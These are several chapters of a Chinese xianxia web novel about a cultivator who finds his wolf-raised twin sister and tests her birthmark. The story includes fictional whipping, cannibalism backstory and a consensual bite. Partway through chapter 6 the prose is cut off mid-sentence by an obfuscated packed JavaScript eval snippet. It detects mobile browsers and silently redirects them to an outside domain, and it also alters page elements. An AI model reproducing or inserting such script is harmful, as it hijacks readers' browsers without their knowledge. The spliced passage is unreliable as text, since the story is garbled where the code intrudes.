杂耍已经散场,连赏钱都不给,还拿这么低劣的谎话耍她玩。 她的直觉果然没错,这人坏极了。 手中红绸被拽了拽,是他在盼她回答。 耳边传来百姓遭驱散时骂县衙的嘟囔声,阿柳听了片刻,现学现用,掷地有声。 “你是个屁。” 说完,恶狠狠将红绸朝自己的方向一拽。 这一次他总算松手。 “阿柳!” 项姥姥在不远处叫她,阿柳叼起圆环,手脚并用窜过去,经过江玄肃时从鼻腔里发出一声轻蔑的“哼”。 余光瞥见他帏帽素纱被风撩起,露出半张侧脸,嘴角竟在笑。 那时阿柳还不明白什么叫苦笑。 - “滚!” “你也是个屁!” “骗子!” 县衙后堂,厢房里水汽升腾,阿柳穿着单衣满屋子乱窜,邵忆文在后面追。 阿柳跑起来不顾姿态,上蹿下跳极尽所能,邵忆文有所顾忌,还要扶稳被阿柳一路打翻的家具,连她衣摆都抓不到,平白挨一番骂。 她越骂,用词越粗俗,各地的方言接二连三往外蹦,饶是邵忆文幼时流浪凡界,也没听过这么多花样,到后面根本不懂她在说什么,只从语气听出她还在骂人。 眼见抓不到阿柳,刚才那个澡也逐渐有白洗的趋势,邵忆文索性不追了。 她靠住掩上的房门,听到邵知武在门外低声闷笑,气得猛锤门板。 隔壁的厢房里,项姥姥正煞有介事地读着契书,实则只看懂了“黄金百两”四个字。 读完后,她立马想按手印,却被梁继寒拦下。 “大娘稍安勿躁,有县令在旁作证,不必担心我们抵赖。还请等我们验完胎记,确认没有找错人,再替阿柳姑娘赎身。” 话音刚落,屋子那头又传来什么东西打翻的“咕咚”声。 厢房隔音不好,阿柳骂的脏词一字不落地传入众人耳中,项姥姥看看面不改色的梁继寒,又看看低头装聋的刘县令,最后目光落到端坐不语的江玄肃身上,心里越发没底。 除了胎记,从头到脚没一处相像,任谁来看,狼丫头都不该是这小子的亲妹妹。 夜长梦多,万一出了岔子,这群人翻脸不认,到手的黄金岂不是飞了? 她从怀中掏出长鞭,站起身。 “那丫头认生,平时没这么容易发狂。等着,我去管管她。” “您从前都用这东西管她?” 众人一怔,齐齐转头看向江玄肃。 他进屋后才摘下帏帽,清俊的脸如平静的湖面,难辨喜怒。 此刻,他盯着项姥姥,嘴角扬起,眼睛却没笑,终于让人察觉湖水深处泛上来的寒意。 项姥姥被他看得一怔,下意识坐回去。 回神之后,心里又不忿。 胎记还没证实,这小子倒先摆起兄长的架子替人出头了。 她将长鞭往桌上一丢:“小公子,我当一回厚道人,对你们说实话,省得你们买卖做完了反悔,又来找我麻烦。我演杂耍时怕乡亲们恐慌,故事里掺了假,其实当年我在钟山脚下捡到阿柳,她身边的尸体不是狼的,是人的。她吃的是人肉,嘴里是人血。” 整间屋子陷入死寂。 项姥姥冷眼瞅着他们:“你说她是你孪生妹妹,好,我照你的年纪算,六年前她十岁。十岁的孩子,就像十年的树,根已经长稳了,她十岁还在吃人,我要怎么教她?怎么把她的根掰正?” “这几年她学了人话才告诉我,她有记忆之后就一直混在狼群里,下山前连熟肉都没吃过。狼是怎么活的,她以前就是怎么活的。”项姥姥抬手点了点自己的脑袋,“她这里面,住的是狼,不是人,对她不能用对人的那一套。狼群有头狼,所有狼都听头狼的,你不先镇住她,让她知道谁是老大,她早晚骑到你头上去。” 说着,她又去看桌上的长鞭:“她刚被我收养的时候,到处闯祸打架,路边有条狗都要挨她咬两口,就是想试探我的底线。你以为我没试过好言好语吗?她根本不听。直到我找个由头把她往死里打一顿,给她立了威,她才知道怕。” 项姥姥说到最后,忍不住冷笑:“不是服,是怕。狗能被打服,狼一辈子都打不服,对付这种畜生,你只能让她怕。” 一语完毕,屋子没人说话,只听见隔壁阿柳跑累了要喝洗澡水又被邵忆文拦下的争吵声。 刘县令缩在角落装鹌鹑,打定主意替烛南宗守住这件秘辛,却又暗暗心惊。 一个幼童,竟能在狼群里生活十年,若那老妪没有撒谎……都说钟山上什么神鬼之事都有可能发生,这样看来,连钟山的狼群都比外面的通灵性,竟能护佑人的婴孩长大。要不是千年以来未曾有过妖兽化出人形的先例,他都要怀疑那狼女是狼妖所化的了。 他满脑子妖魔鬼怪,越想越怕,忍不住去看梁长老的脸色。 梁继寒端着茶碗垂眼喝茶,神情不见变化,眼中读不出情绪。 凡人百年,钟山上的修士也至多活不过一百二十岁,刚诞生的十年,是开启丹田、打通经脉最关键的十年,那孩子却被生母扔在深山里自生自灭,和野兽厮混着长大。 ……江无心连这种事都做得出? 余光里,一抹白影站起身来,梁继寒看向他的得意门生。 江玄肃眉宇间罕见地笼着一片阴翳,隐隐有破功动怒的迹象。 “不要叫她畜生,她是人。” 项姥姥对上他的眼睛,一时间后颈发毛,连忙去握长鞭。 六年前刚驯养阿柳的时候,有一天夜里她睁开眼,看见狼丫头悄无声息地蹲在床头盯着她的喉咙。 这一瞬,她竟体会到当年那股毛骨悚然之感。 “阿照。” 梁继寒突然唤江玄肃的小字,语气平静。 因为生来带有烛焰胎记,梁继寒在收江玄肃为徒时给他起了这个小字,烛火能驱散黑暗,照出一片光明,君子当有此志。 叫他,是为了提醒他拜入师门时立过的誓,提醒他身为君子什么是不应当做的。 江玄肃脊背一僵,缓缓坐下,闭了闭眼。 修士离开钟山后就不能动用灵息,丹田也随之滞涩停用,没了外界的力量帮助他恢复清明,只能靠他自己凝聚神识,压抑情绪。 梁继寒抱歉地对项姥姥笑笑:“少年人,性情难免浮躁,冲撞了您,还请多包涵。” 项姥姥没说话,目光在两人之间游移,冷哼一声。 最烦和这些又修道又读书的人打交道,不肯痛痛快快发脾气,莫名其妙被惹急了又打不过他,平日还总自诩什么谦谦君子。 两个装货。 小装货道行浅,压不下脾气,老装货心计深,知道藏住心思,总之都不好惹。 江玄肃坐下后平复了呼吸,心绪却不能平,整理一番思路,看向项姥姥。 “方才隔壁的动静您都听见了,她下山才六年,与人交流已不成问题,还学会这么多方言,可见天资聪颖。山林间弱肉强食,她逞凶是为了自保,吃人是为了维生,毕竟没人教过她什么不能吃。下山后她随您四处卖艺,旁人都拿她当异类看,她遭人冷眼笑话,自然对外界抱有敌意。若能教她读书写字,授她礼仪规矩,耐心对待她,使她体会到为人的温情,让她开灵智、明事理,我不信她还会这般野蛮。” 江玄肃言辞恳切,梁继寒在旁边听得欣慰微笑,不时颔首,项姥姥却始终抱着胳膊冷眼相待。 殊不知她心里骂得更难听。 十几岁的年纪,X毛都没长齐,还敢来教老太婆做事。说这么多套话,无非是老装货拿着书本教他的,自己根本没亲身经历过,等挨那狼女咬上两口,看他还能不能这般振振有辞。 项姥姥把长鞭丢在桌上,朝门口一歪头:“随你怎么说。反正远水解不了近渴,不是验胎记吗?你不许我打她,那你去让她安分。” 恰在此时,隔壁传来邵忆文绝望的呼唤:“别脱!外衣捡起来穿上!” 江玄肃听在耳中,顿时愣怔,随即脸颊发热:“男女有别,她刚沐浴完,衣冠未整,我怎能……” 项姥姥翻白眼:“我们一帮粗人,没这么多讲究。你出门去附近问一圈,谁家老大没给家中弟妹把过尿擦过屎?年龄相仿的,一起穿开裆裤长大,也没少看过对方的光 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“知道你想杀人,过来,验完了再动手。” 邵忆文的语气毫无波澜,甚至有股淡淡的死意。 折腾这么久,她宁可让人来给她做个了结,都不愿窝在这间屋子里,和这个不通人性的少女永无止境地纠缠。 发完牢骚,活还得干,邵忆文叹口气,从怀里掏出一枚小玉瓶。 为防止消息走漏后,有不怀好意者伪造胎记扰乱视听,梁继寒临行前找宗门里的药修要了两瓶极为贵重的褪形露。 如果胎记并非生来就有,而是靠后天的涂画、刺青甚至种种奇门异术植进体内,无论伪装得多么完美,只需被褪形露浸泡最多一刻钟,就会显出异常。 结果那狼丫头不知是装疯还是真疯,邵忆文将药水抹在她颈侧之后,她却突然打翻药瓶惊惶逃开,捂着脖子在屋子里乱窜喊痛。 邵忆文蘸取泼洒的药水涂在自己身上试验过,褪形露里加入了灵玉磨的粉,触碰时带点寒意,除此之外,她没感觉到任何不适。 现在褪形露只剩一瓶,不能再出纰漏了。 不大的厢房里,中间的澡桶早已不再冒热气,两人僵持不下,一个不敢拿最后的机会冒险,另一个践行敌不动我不动原则,打算和她耗死在这里。 忽然,阿柳把耳朵贴在墙上,眼珠左右转了转,竟朝着邵忆文所在的方向一点点地挪过去。 邵忆文受宠若惊喜极而泣,还以为阿柳突然通了人性,刚要说话,就听见门外响起渐近的脚步声。 守门的邵知武叫了句“小师兄”,却不见江玄肃敲门,等了半晌,才听到他问:“邵师妹,阿柳现在如何了?” 邵忆文斜睨着阿柳,冷笑:“还是不肯涂药。” 阿柳原本在弓着背蓄力,察觉她的视线,立刻故作无辜地左右看看。 “你给她穿好衣服,我进去和她说。” 邵忆文一听有人接班,立刻爬起来开门:“早穿好了。” 在她作势要打开第二瓶褪形露的时候,阿柳就裹起外衣窜开了,仿佛邵忆文手里拿的是毒药,而她要多裹一层皮毛用来防身。 趁着邵忆文转身开门,阿柳悄无声息地移动到墙根处,蜷缩着蹲下,将自己的存在感降到最低。 她眯起眼,盯住逐渐扩大的门缝,找到邵忆文手臂伸展时形成的空隙。 就是现在! 一团黑影窜出,邵忆文头也不回,在阿柳接近门口时猛地伸腿,脚卡死在门框上。 “就知道你……” 话音未落,突然感觉小腿内侧被剐蹭了一下,低头看去,阿柳竟毫无顾忌地从她两腿间钻了过去。 阿柳手足并用,灵敏无比,眼看视野里少了一双腿挡路,还有两双腿拦在出去的路上,正飞快地分析着哪里的缝隙最宽,其中一双腿的主人突然蹲下了。 视野里的腿变成近在咫尺的脸,那双好看的眼睛盯住她,阿柳一惊。 进县衙之后她就被带去洗澡了,此时还是第一次见到他不戴帏帽的样子。 咦。 他怎么不装瞎子了? 因为这片刻的晃神,手上动作出了疏漏,阿柳刹不住脚,径直撞上江玄肃,力道不小,连带着将他掀翻在地。 阿柳自知闯祸,撑着江玄肃胸膛想起身逃开,甚至为了借力一脚狠狠蹬在他小腿骨上,没想到他却连哼都没哼一声,而是环住她的背,把她给箍进怀里。 阿柳急促地呼吸着,鼻腔里盈满那股好闻的苦香,脸颊贴着的面料滑而凉,听到头顶的人说话时尾音发颤。 “阿柳,你看看我。” 看个屁。 刚下山那年,她经常惹这样的麻烦,在街上乱窜时不小心撞到谁,每次都要挨两句臭骂,有时候对方还作势要踢她。 幸好阿柳跑得快,每次都不让他们踢中,偶尔倒霉撞到了贵人,贵人找到项姥姥,项姥姥为了赔罪,会按着她拿鞭子抽。 打不过就要跑,跑不了就会挨打,这是阿柳的经验。 她挣扎着抬头,忽然发现江玄肃的脖颈近在咫尺,正毫无阻挡地暴露在她眼前。 凸起的喉骨,随着吞咽而拉扯的颈筋,轻易就能衔住,然后咬下去。 哈,傻子,暴露弱点了。 阿柳不假思索张口。 可就在这时,江玄肃偏开头去,颈侧的皮肤随着动作展露得更多。 视野里出现一抹红。 那个让她受尽白眼、受尽辱骂的胎记。 竟然出现在他的身上。 阿柳张着嘴,全身僵住,愣愣盯着那抹红色。 身下撑着的胸膛起伏不断,心跳剧烈,震动传导到她的掌心。 她的手没忍住按了按,想知道那份跃动从何而来。 随着她的动作,江玄肃蓦然弓背,他对于眼下的姿势极不自在,却又强迫自己稳住心神,放柔语气。 “不要躲我,你看,我们是一样的。” 5. 05 “现在相信了吗?我是来接你回家的。” 厢房中,江玄肃坐在靠椅上,整理被扯乱的衣领。 几步开外,阿柳脚踩之前追逐中被她踹倒的屏风,目光掠过他的手指。 白皙修长,没有粗茧,光泽质感让她联想起之前偷的那枚玉环。 此刻它们正捏着衣领处的银丝盘扣,将它嵌进扣眼里。 原来刚才硌到她下巴的小东西长这样。 阿柳仍在回味那衣裳面料的触感,要是睡觉时能裹上这样柔软的布,一定很舒服。 再抬眼,却发现江玄肃理完衣裳后望着自己,预谋要做些什么似的,隐隐有起身的架势。 她蹬着屏风架的腿立刻绷紧,时刻做好逃开的准备。 见她如此,江玄肃只得重新坐回去,不再挪动。 任由阿柳的视线将他整张脸肆无忌惮地扫过一遍,等了半晌,不见他动,才试探着凑近,弯腰查看他的颈侧。 她洗过的头发披散下来,其中一绺随着动作飘起,险些碰到他肩膀。 江玄肃在阿柳身上受的挫折太多,又有项姥姥之前那番话的铺垫,此时见她主动靠近,堪称受宠若惊,甚至不自觉地屏住呼吸,待她绕着自己转了半圈,才继续说话。 “阿柳,我明白你的心情。我们在街上有过龃龉,现在又用陌生的药水涂在你身上,你心生警惕,再正常不过。许是之前没有解释清楚,那药水是验证胎记的褪形露,对人体无害,有它作保,宗门里的人才会承认你的身份不假,认同你是烛南宗掌门的女儿,也是我的妹妹,我才能正大光明带你回去。从前你在凡界无依无靠,现在你有哥哥了,还有娘……你不想见一见你的亲生母亲吗?” 江玄肃语气诚恳,阿柳却毫无波澜,一语完毕,她直接从江玄肃眼前消失了。 修道者五感灵敏,他能听到阿柳故意放轻脚步窜到身后,却只能装作毫无察觉,以免惊动她。 忽然,颈侧的皮肤触到一点凉意。 随后是热而暖的气息,轻轻拂过他耳根,掀起一阵无可抑制的酥痒。 江玄肃险些咬到自己舌头。 原来刚才蹭过他脖颈的,是阿柳的鼻尖。 她在闻他。 江玄肃猛地起身拉开距离。 刚转过头,阿柳已经躲到一旁的圆桌后了。 她双眼清明澄澈,心无旁骛地盯着他,丝毫不觉得自己的举止有多冒犯,只是不解他起身的原因,下意识防备。 面对这样的眼神,江玄肃怔在原地。 ……如此一来,倒显得他反应过度。 他不合时宜地想起项姥姥的话,嘲讽的语气在脑海中挥之不散。 若心无杂念,又怎会这般顾忌? 江玄肃垂眸稳住心神,重新坐回去。 都说要因材施教,现在的阿柳,是不通人伦、未被教化的狼女。 她只是在用最习惯的方式,去了解探索刚认识的人,在熟悉他的姓名、听懂他的话语之前,先熟悉他的气味。 想要被她接纳,就要先接受她原有的习性。 “你来,我不动了。” 江玄肃轻声呼唤,心里仍有些忐忑。 二人认知不同,阿柳习以为常的动作,于他而言却是有悖礼仪的冒犯。 若是回到钟山,他可以调动灵息闭塞肌肤的触感,把自己变作一块石头,随她拨弄嗅闻。 可这里是凡界,他只能凭意志忍耐,内心还要时刻受到“此举不妥”“有失分寸”的拷打。 几步开外,阿柳却没急着动身,她若有所思地抽了抽鼻子,回忆刚才嗅闻他皮肤时闪过的直觉,突然说:“气味不一样,你不是我哥哥。” 她语气冷漠,江玄肃的游说丝毫不能动摇她的想法,说来说去,她只信自己的判断。 见阿柳如此笃定,江玄肃竟不可控制地怔了一瞬,脑海中闪过无数可能,每一种都是他最不希望见到的。 但很快,他找回逻辑:“我们没在一起生活,气味当然各不相同,你不能用它作为判断的依据。你不信我是你哥哥,不妨先验了胎记,若胎记有假,才能证明你的鼻子没失灵。” 他出言激将,阿柳却并不上钩,直接翻身坐在圆桌上,摸摸颈侧:“很痛。” 江玄肃打开进门时邵忆文地给他的玉瓶,拿指尖蘸了一点,确认药水不假,疑惑道:“怎么会痛?” 褪形露对人体无害,哪怕胎记有异,也不过是在药水浸泡后改变颜色形状,并不会产生痛觉。 难怪刚才邵忆文与他交接时,让他提防狼丫头说谎,原来是因为阿柳这样说过。 可是…… 江玄肃抬头看去,阿柳抱着一边膝盖蜷在桌上,眼睛紧盯他手中的玉瓶,没有立刻逃窜,已是极大的容忍。一双黑白分明的眼,畏憎的眼神不像是装出来的。 江玄肃思忖片刻:“你的胎记,从前有痛过吗?” 阿柳摇头。 见江玄肃不逼她,也没有上前来强行抹药的意思,阿柳安坐着想了想,补充:“我吃了石头,才这样痛。” 江玄肃握着玉瓶的手陡然攥紧:“吃石头?他们逼你吃的?” 阿柳又摇头,脸色仍极为平静:“以前,在山上,饿极了吃的。” 屋子里一时无言。 阿柳摸摸肚子,也不知今天那顿好饭什么时候能吃上,再抬眼看去,忽然一怔。 她又看不懂江玄肃的表情了,明明饿肚子的不是他,为什么他的眼睛看上去在伤心。 见她看过来,他才收敛情绪:“今后不会再让你挨饿了。等回到钟山,宗门里有各色菜肴点心,你想吃什么,尽情吃够。” 这句话一出,她眼睛忽然亮起来。 “和你们一起,一天吃几顿?几顿有肉?” 江玄肃说:“一日有三顿,顿顿都有肉。若逢演武加训,消耗太大,可以加餐。” 话音刚落,阿柳跃下圆桌扑到他面前,两手搭住靠椅的扶手,故作凶狠地瞪他:“你骗我么?” 她动作极快,那张脸闪到江玄肃眼前了,他才来得及靠住椅背拉开距离。 眼睛却仍望着她,承接她的期盼,不自觉噙着一点笑意:“你看我像在骗你吗?” 说完后,忽觉得不妥,怕她想靠气味辨别谎言,又贴上来闻他。 好在这次阿柳没再乱来,她眼睛落在江玄肃手中的药瓶上,直起身甩甩头 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于是板下脸,恶声恶气地说:“我痛,你不许看,滚出去。” 她说完,江玄肃却没有立刻回答。 阿柳察觉不对,悄悄瞟他,见他沉吟片刻,突然抬起手来。 要挨打。 念头一闪,阿柳转头就跑,退开几步见江玄肃没跟上来,才疑惑地回身观察。 却见他仍端坐着,神情沉稳,在解左臂用于束袖的护腕。 黑色皮革的护腕,上面嵌着质地非凡的玉石,褪下来后,被他随手放在一边。 紧接着,江玄肃撩起衣袖,露出小臂。 少年人的骨骼尚在生长发育,腕骨与肘骨带着清瘦的棱角,附着其上的肌肉却已初具成年男子的力量感,攥住拳头时,拉出清晰的线条,隐约可见青筋在皮肤下起伏。 阿柳怔怔地看着他挽袖子,不解其意。 “孪生子本当同甘共苦,没有妹妹受痛兄长却冷眼旁观的道理。更何况提出验胎记的是我,是我为你带来这份痛苦。所谓感同身受,只在嘴上说说可不行。”江玄肃举着小臂,朝阿柳温和一笑,“阿柳,过来。等会若是痛了,就咬这里。” 阿柳却脚底生根,没有上前。 咬人是要挨打的。 经过刚才的相处,她大致有了判断,就算咬住江玄肃,江玄肃也不会打她。 他自愿挨她的咬。 然而,就像她的行为总是不被常人理解,此刻的她也无法理解江玄肃。 受了痛知道躲的才是正常人,不仅不躲,还甘之如饴的,要么傻,要么疯。 傻子好认,疯子却不容易辨认,他们被自己的逻辑桎梏,却仍能很好地藏在正常人之中,直到所言所行越来越荒唐,再也无法被世道容忍,才逐渐显露真身,最后要么毁灭自我,要么毁灭他人。 阿柳常被旁人骂疯子,挨骂多了,经验丰富,很有辨别同类的能力。 眼前这个人是不是她哥哥,她不知道。 她只知道,或许江玄肃藏得比她好,但也一定是个疯子。 6. 06 邵家姐弟隔着半掩的屋门往里看去。 第一眼,看到小师兄坐在圆桌前的背影,他左臂挽起袖子放在桌上,像在让人给他号脉。 随后才看清他左臂旁边凑着一个脑袋,正是不久前还上蹿下跳拒不配合的狼女。 小师兄坐姿板正,脊背挺直,狼女却毫无形象地抱膝蹲在椅子上,脑袋有一搭没一搭地磕着桌面。 沉闷的“咚咚”声传来,没响几下,小师兄用手托住她额头,阻止她这样自虐似的发泄。 忽然间,姐弟二人不可置信地睁大双眼。 那狼女……她竟然恩将仇报,一口咬在小师兄的手臂上! 邵知武刚要推门闯入,被邵忆文一把拦下。 她朝他使了个眼色。 定睛看去,却见小师兄连哼都没哼一声,就这么让她咬着。 整间屋子里,只剩狼女一抽一抽的吸气声。 姐弟二人被这副诡异的场景震撼得一时失语,你拉拉我,我拽拽你,无言地走出连廊,确定屋子里的人听不见了,才凑在一起说小话。 邵知武抬手抱着后颈,靠在院中的树下,仰天长叹。 “我现在倒希望胎记是假的了,狼女举止无常,等我们回到钟山公布消息,肯定有人拿她当幌子,在背后编排小师兄和掌门。说得过分些,只怕褪形露的检验都不能让他们信服,须得动用灵息,用辨血认亲盘鉴定过她和小师兄的血脉,他们才满意。” 他回想阿柳咬住江玄肃胳膊的情形,越发烦躁:“况且,她那副样子实在不像能当大任。我经史课听得马虎,但也记得历任司剑里没有无能之辈,每一位都心忧天下高风亮节,至于她……哼,大战之日,她不要第一个逃跑才好。” 邵知武发愁地念叨半天,却没见姐姐接话,抬眼看去,邵忆文坐在院中石桌旁,用指节叩着桌面,一副若有所思的表情。 她突然问邵知武:“如果我咬你,你会像那样忍着吗?” 邵知武不假思索:“我当然会叫啊,我又不傻!咳,我不是说小师兄傻……” 邵忆文起身,回忆那股令她不适的违和感。 “哪怕是兄长溺爱妹妹,也要有个上限,更何况小师兄今天才刚见到阿柳……阿柳不懂就算了,小师兄竟也顺着她。这二人的相处方式,实在……实在……” 邵忆文一时语塞,在脑海中搜寻合适的说法,突然听到身后响起一个云淡风轻的声音。 “实在不像兄妹,是吗?” 二人一惊,齐齐转身站好,不敢看来人的眼睛。 “师傅。” 梁继寒抓包两个徒儿背后议论,倒也不动气,平静地踱步上前。 他目光在两人之间扫过一遍,才问:“你们可知,我此行为何特意带上你们二人?” 邵知武本就心虚,认错飞快:“……因为我们也和小师妹一样来自凡界,与她有更多话题,能帮她尽快熟悉宗门。师傅我错了,我不该对小师妹心生偏见,出言诋毁。” 一边说,他一边双掌合十举过头顶,对着梁继寒弯腰拜下,声音渐小下去。 邵忆文在旁边暗暗叹气,都多大了,祸从口出的毛病,他还是改不了。 梁继寒微微颔首,但邵知武知道这不是师傅满意的表情,他求助地看向姐姐。 邵忆文沉思许久,试探地开口:“师门里来自凡界的人虽然少,却不只有我和小武,师傅选了我们……是想让我们给小师兄和小师妹做榜样,让他们学习双生子的相处之道?” 梁继寒终于微笑,眉眼之间有赞许之色。 邵忆文蹙着的眉头也慢慢松开。 是了。 她和弟弟进烛南宗的时候,江玄肃才十岁,那时他们就听说师傅门下有一位很厉害的小师兄,却极少见到他。 只知道他是天赋异禀的掌门之子,四岁开丹田,六岁通经脉,掌门对他要求极高,在白玉峰的峰顶给他修了栋阁楼,让他独自居住其中,勤加修炼不受干扰。 小小年纪就拥有一处独立的住所,旁人总会艳羡,可是…… 掌门没有给他修下山的路。 白玉峰形如刀削,如一块竖立的白玉,四面皆是嶙峋岩石,若想用寻常的方法攀登,稍有不慎就会失足跌落。 只有控制灵息的能力炉火纯青、习得登山身法的武修,才可以在陡峭岩壁间来去自如,并且不担心坠落时被冲击力撞碎内脏。 邵家姐弟十八岁才掌握身法,上下山仍要提心吊胆,生怕脚底踩空跌成重伤。 而江玄肃住进白玉峰时才六岁。 直到十四岁那年,他才修成登山的身法。 十四岁就能有此功力,旁人对他羡慕不已,却不知道他因此放弃了一整个童年。 同龄的修士,可以半夜翻出寝阁偷偷去外面玩耍,又或是休沐日一时兴起,去往别的峰头找好友相聚。 可江玄肃在十四岁之前,没有长辈们上山接应,根本出不了白玉峰。 他的生父死在他出生前。 他的母亲,是当今世上最强的武修,平日深居简出,不收徒,不交友,连对自己的儿子都少有关心,只在修行上对他严格要求。 除了梁继寒常常上白玉峰陪伴他,江玄肃极少感受到来自长辈的关爱。 至于同辈修士,他们本就敬畏他的身份和天赋,平日除了集会活动,又难以见到他的踪影,自然也不和他亲近。 钟山一脉大小宗门,江玄肃是武修后辈里的第一人。 可他却连朋友都没几个。 更别提亲密无间的手足。 邵忆文眨了眨眼睛,恍然大悟。 ……所以,小师兄根本不知道如何与妹妹相处,一举一动,不过是看着旁人的言行照葫芦画瓢。 寻常双生子,比如她和邵知武,虽然从小相依为命,进入宗门后,却也各自有各自的朋友,日后对方找到意中人,自己虽心有失落,却也愿意祝福手足与爱人结契。 但江玄肃提到妹妹时的眼神,却那样紧密、沉重、不留缝隙。 先是那捧了一路,至今未找到时机送出的见面礼,然后是见到阿柳后对她的种种纵容维护,直到如今,他放任阿柳咬上他的手臂。 现在想来,说不定阿柳这么做正合他心意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316089|183004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留下印迹都算轻,甚至……他想让阿柳咬得他出血,让那血液被她啜饮着咽下去,融进她的体内,难分彼此。 只有这样,才能弥补过去十六年的生疏与分离,填补他心中种种空缺遗憾。 想起厢房中江玄肃沉默端坐的背影,邵忆文在风中打了个寒噤。 她回过神,对上梁继寒意味深长的双眼。 “你们羡慕阿照的天赋与修为,其实阿照也很羡慕你们。” 邵忆文垂首应声,心里仍突突地跳着:“徒儿知道了,是我们没能给小师兄和小师妹做好榜样。” 邵知武没懂姐姐知道了什么,总之跟着她做不会错,也连忙低头。 梁继寒不置可否地“唔”了声,淡淡地说:“回宗门之前先唤她阿柳吧,她尚未行过拜师礼,就还不是你们的小师妹。” 此言一出,姐弟二人同时抬头。 邵知武嘴快:“您不愿收阿柳?” 表情却隐隐有喜色。 狼女桀骜不驯,洗澡涂药时将他姐姐折腾得精疲力尽,他嘴上笑话邵忆文狼狈,心里却还是不喜阿柳的种种行径。正发愁以后成了同门如何相处,现在师傅说不收她,正合他心意。 邵忆文剐了一眼弟弟,没急着接话,等师傅自己解释。 却见梁继寒负手站在庭院的树下,面容被婆娑的树影覆盖,一时间神情莫测,看不出喜怒。 他提起那件事。 那件,令他们连夜动身,一路奔波疾驰只为尽快找到那人的事。 “双生剑出世,关乎着天下命运。司剑一职太过重要,整个钟山、乃至全天下的视线都会聚集在她和阿照身上。我不过是烛南宗里一位普通的长老,给司剑当师傅,只怕难以服众。” 说完,他自嘲地笑笑。 邵知武顿时不忿:“师傅哪里普通了!烛南宗上下,只有掌门的修为比您高,那是掌门厉害,整个钟山都找不出比她强的人!您修为深厚,品行又好,连掌门都钦定您给小师兄当师傅。要是不选您,那是他们瞎了眼!” 邵忆文见梁继寒垂眼不语,连忙抬腿踢邵知武的膝盖后弯,示意他冷静。 邵知武险些跪下,终于收声。 风过庭院,带起梁继寒白袍的衣角。 他没阻止眼前的姐弟二人打闹,反倒偏开头,看向阿柳和江玄肃所在的厢房。 然后,露出与平日毫无差别的微笑。 梁继寒已年过不惑,无妻无子,一心修行,因常年受灵息滋养,仍保持着儒雅俊朗的容颜。 他极少失态,喜怒不形于色,这张脸如玉般温润,却不像玉那样通透,旁人极难透过他的神情看穿他心思。即便邵忆文拜入他门下数年,仍捉摸不透师傅的想法。 可此时此刻,她望着师傅微微扬起的嘴角,竟从中品出一分……讥讽。 又来了。 那股令她一颗心突然下沉,惴惴不安又挥之不散的异样感。 上一次是在白玉峰的玉兰树下,撞见小师兄的笑。 这一次,邵忆文垂下眼睛,还是不敢细想。 师傅……究竟在讥讽什么? 7. 07 桌案上燃着计时用的香柱。 阿柳用力按住江玄肃的胳膊,如同捕食的狼按着猎物,左手紧攥他的左手,右手卡住他的臂弯。 颈侧像在被烈焰灼烧,然后敷上刺骨的寒冰,痛感扩散,撕扯她,折磨她。 想要抓烂什么。 想要噬咬什么。 想要吞咽什么。 阿柳用尖牙叼起眼前的皮肉,用舌头仔细舔舐,确认它的触感,捕捉皮肤之下血流带起的搏动。 然后,一点点合拢嘴。 牙齿陷进其中,越扎越深,嘴唇贴合而上,江玄肃胳膊陡然绷紧,一股出自本能的力道抵抗着她的啃咬,却终究颤抖地放松,由着她的尖利的犬齿扎破肌肤。 阿柳嗅到一股让她想要进食的气味,肠胃深处饥饿地抽动,搜寻能够填满它的对象,却扑了个空。 这一次,她想吃的不是能用牙齿咀嚼、撕烂的东西。 是什么呢? 舌尖尝到腥甜的锈味,阿柳茫然地松口。 神智回笼,周围的声音在耳边逐渐清晰,头顶上方传来加重的呼吸声。 视野涌出一抹红。 是血。 阿柳立刻转头找江玄肃的眼睛,提防他出手反击。 却发现他的目光没有落在她脸上。 江玄肃在看两人交握的手。 他的指腹有常年握剑形成的薄茧,阿柳掌心有凹凸不平的伤疤,两只手紧密地贴着,拇指叠着拇指,虎口卡着虎口。 随着阿柳那一咬,有什么紧密包裹他的东西被撕开一道裂缝。 疼痛像一根粗糙的麻绳,摩擦着血肉钻进来,再把困于其中的魂魄拉出去,前往阿柳所在的世界。 那个野蛮的,原始的,毫无礼法可言的世界。 只有吃与被吃,硬的齿与软的肉,濡湿的唾液与干燥的肌肤。 她和他,一个得寸进尺,一个步步妥协。 明明应该提醒她松手,让她在椅子上坐好,不要用脸颊贴住他的胳膊。 可开口时,说的却是—— “手上的水泡,怎么弄的?” 阿柳嘴角还有他的血:“烫的。铁。” 而江玄肃再也说不出什么,只好轻轻用指尖摩挲她的伤口。 颈侧的疼痛再次发作,阿柳猛地弓背,直接从座椅滚落,缩在桌角。 江玄肃垂眼数她头顶的发旋。 一,二,有两个。 可他却只有一个。 她是典型的站没站相坐没坐相。 可他被教导行走坐卧当如挺拔的松柏。 她在山上吃过人的血肉,啃过泥土沙石。 可他被教导食不厌精脍不厌细。 旁人都说她不像他妹妹。 然而,香案里的燃香此刻已经烧过一半了。 阿柳的胎记依旧好端端地待在他视野中,形状稳固,没有变化,绯红如初,没有褪色。 看吧,那对流传千年的神剑果然降下了正确无误的神启。 她就是他要找的人,他的妹妹。 一旦有了兄妹的身份作维系,有“亲缘”这个正大光明的理由托底,突然间,什么都能被通融,什么都能被原谅,化作一句“人之常情”。 哪怕走进厢房之前,他还信誓旦旦要教阿柳礼仪规矩。 此时此刻,他却离开座椅,模仿着她席地而坐,将视线与她平齐。 然后,任由她靠近,像一只小兽找到另一只小兽,蜷缩在他怀里,依偎着取暖,衔住他的手臂磨牙。 熟悉的疼痛再次传来。 他心里却前所未有地一片澄明。 教导不急此刻,他和妹妹还有很久很久的将来。 就让眼下成为短暂的休憩,在狭小的厢房里,在桌椅搭建的角落中,不再去想事关天下的重任,钟山上的波诡云谲,母亲的严苛要求,师傅多年如一日的教导。 室内寂静无声,香灰味若有似无地漂浮着,覆盖种种杂思。 